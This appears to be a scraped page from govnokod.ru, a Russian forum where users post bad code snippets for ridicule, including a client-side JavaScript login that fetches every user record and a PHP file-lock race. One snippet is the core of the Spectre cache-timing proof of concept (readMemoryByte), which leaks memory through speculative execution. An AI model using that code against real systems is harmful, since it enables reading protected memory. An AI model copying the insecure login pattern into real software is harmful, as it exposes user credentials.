- 1
- 2
_G = setmetatable(_G, {__newindex = function(t,k,v) t[k] = "sG_nil" end})
pitux=1
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
0
_G = setmetatable(_G, {__newindex = function(t,k,v) t[k] = "sG_nil" end})
pitux=1
чо поцоны, изи рекурсия.
0
<!-- todo: put this in a different file!!! -->
<script>
function authenticateUser(username, password) {
var accounts = apiService.sql(
"SELECT * FROM users"
);
for (var i = 0; i < accounts.length; i++) {
var account = accounts[i];
if (account.username === username &&
account.password === password)
{
return true;
}
}
if ("true" === "true") {
return false;
}
}
$('#login').click(function() {
var username = $("#username").val();
var password = $("#password").val();
var authenticated = authenticateUser(username, password);
if (authenticated === true) {
$.cookie('loggedin', 'yes', { expires: 1});
} else if (authenticated === false) {
$("#error_message").show();
}
});
</script>
This JavaScript code powers a 1,500 user intranet application
−1
public function syncStock() {
$locked = file_exists(__DIR__ . '/lock/gk_sync_stock');
if ($locked) {
$this->logger->log("Attempt to sync locked stock");
return;
}
file_put_contents(__DIR__ . '/lock/gk_sync_stock', current_time('mysql'));
$changed = $this->_syncStock();
unlink(__DIR__ . '/lock/gk_sync_stock');
$this->logger->log("Sync stock complete, $changed changed");
}
Тут может произойти дедлок, или ни один из синхронных запросов не выполнится?
0
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256];
int tries, i, j, k, mix_i, junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t * addr;
for (i = 0; i < 256; i++)
results[i] = 0;
for (tries = 999; tries > 0; tries--) {
/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
_mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */
/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
training_x = tries % array1_size;
for (j = 29; j >= 0; j--) {
_mm_clflush( & array1_size);
for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));
/* Call the victim! */
victim_function(x);
}
/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = & array2[mix_i * 512];
time1 = __rdtscp( & junk); /* READ TIMER */
junk = * addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}
/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
k = j;
j = i;
} else if (k < 0 || results[i] >= results[k]) {
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
value[0] = (uint8_t) j;
score[0] = results[j];
value[1] = (uint8_t) k;
score[1] = results[k];
}
Красиво. Душевно.
https://github.com/Eugnis/spectre-attack
+4
auto highPriority = static_cast<bool>(features(w)[5]);
// Тип features(w) - std::vector<bool>
Скотт Майерс. Эффективный и современный С++.
−3
if (c & Expression::RefValue) {
scontext += "|RefValue";
}
if (c & Expression::RefParameter) {
scontext += "|RefParameter";
}
if (c & Expression::DeepReference) {
scontext += "|DeepReference";
}
if (c & Expression::ObjectContext) {
scontext += "|ObjectContext";
}
if (c & Expression::InParameterExpression) {
scontext += "|InParameterExpression";
}
if (c & Expression::ExistContext) {
scontext += "|ExistContext";
}
if (c & Expression::UnsetContext) {
scontext += "|UnsetContext";
}
if (c & Expression::AssignmentLHS) {
scontext += "|AssignmentLHS";
}
if (c & Expression::RefAssignmentLHS) {
scontext += "|RefAssignmentLHS";
}
if (c & Expression::DeepAssignmentLHS) {
scontext += "|DeepAssignmentLHS";
}
if (c & Expression::AssignmentRHS) {
scontext += "|AssignmentRHS";
}
if (c & Expression::InvokeArgument) {
scontext += "|InvokeArgument";
}
if (c & Expression::OprLValue) {
scontext += "|OprLValue";
}
if (c & Expression::DeepOprLValue) {
scontext += "|DeepOprLValue";
}
if (c & Expression::AccessContext) {
scontext += "|AccessContext";
}
if (c & Expression::ReturnContext) {
scontext += "|ReturnContext";
}
Нашел тут:
https://github.com/facebook/hhvm/blob/master/hphp/compiler/construct.cpp#L226
+6
//Добавление/удаление товара в корзину, вывод содержиого
function itemInCart(id, price, count) {
...........
Вот такой он, универсальный JavaScript )
−438
root@server:/var/www/project# supervisorctl restop gunicorn
*** Unknown syntax: restop gunicorn
+100
// функция создания случайного ключа для шифровки/дешивровки сообщения
function keyCreate(): string;
const
alf: string = 'abcdefjhijklmnopqrstuvwxyzABCDEFJHIJKLMNOPQRSTUVWXYZ0123456789';
var
i, k: integer;
logName: string;
begin
logName := '';
for i := 0 to 15 do
begin
k := RandomRange(1, 62);
logName := logName + alf[k];
end;
Result := logname;
end;
Какой оригинальный подход.
+132
<meta http-equiv="X-UA-Compatible" content="IE=Эмуляция IE8">
Братишка, плесни мне ие восемь пжалста